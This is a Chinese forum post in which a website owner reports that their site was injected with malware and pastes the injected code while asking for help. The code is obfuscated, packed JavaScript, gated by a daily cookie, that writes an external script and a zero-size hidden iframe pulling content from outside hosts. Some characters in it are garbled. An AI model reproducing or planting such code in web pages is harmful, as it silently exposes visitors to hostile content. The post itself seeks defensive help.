网站被挂马了，速求帮助！！！
以下是这三天来被挂的马：
if(document.cookie.indexOf('hello')==-1){var expires=new Date();expires.setTime(expires.getTime()+24*60*60*1000);document.cookie='hello=Yes;path=/;expires='+expires.toGMTString()
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('8.o(\'<k f=d l=b://h.j.7/5/g.e?3></k><c 9=0 n=0 l="b://p.m.6/i/1/q.a?4嚄2"></c>\')',62,27,'|2008|4|44|7|ask|cc|com|document|height|htm|http|iframe|javascript|js|language|log|lx|new|niupan|script|src|taozhi|width|writeln|www|yt'.split('|'),0,{}));}
<script language="javascript">
if(document.cookie.indexOf('hello')==-1){var expires=new Date();expires.setTime(expires.getTime()+24*60*60*1000);document.cookie='hello=Yes;path=/;expires='+expires.toGMTString()
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('5.m(\'<j e=c k=a://n.i.g/2/3/d/7.6?嚄2></j><b 8=0 l=0 k="a://f.h.4/o/p/q.9?嚄2"></b>\')',62,27,'||art|cache|com|document|gif|google|height|htm|http|iframe|javascript|label|language|lx|net|niupan|qywy|script|src|width|writeln|www|xingxuetupian|xixixi|yt'.split('|'),0,{}));}
</script>
请高手们帮帮忙，我的QQ:1121061186
先谢谢了
用户系统信息：Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; QQDownload 551; GTB6.3; CIBA; .NET CLR 2.0.50727; 360SE)
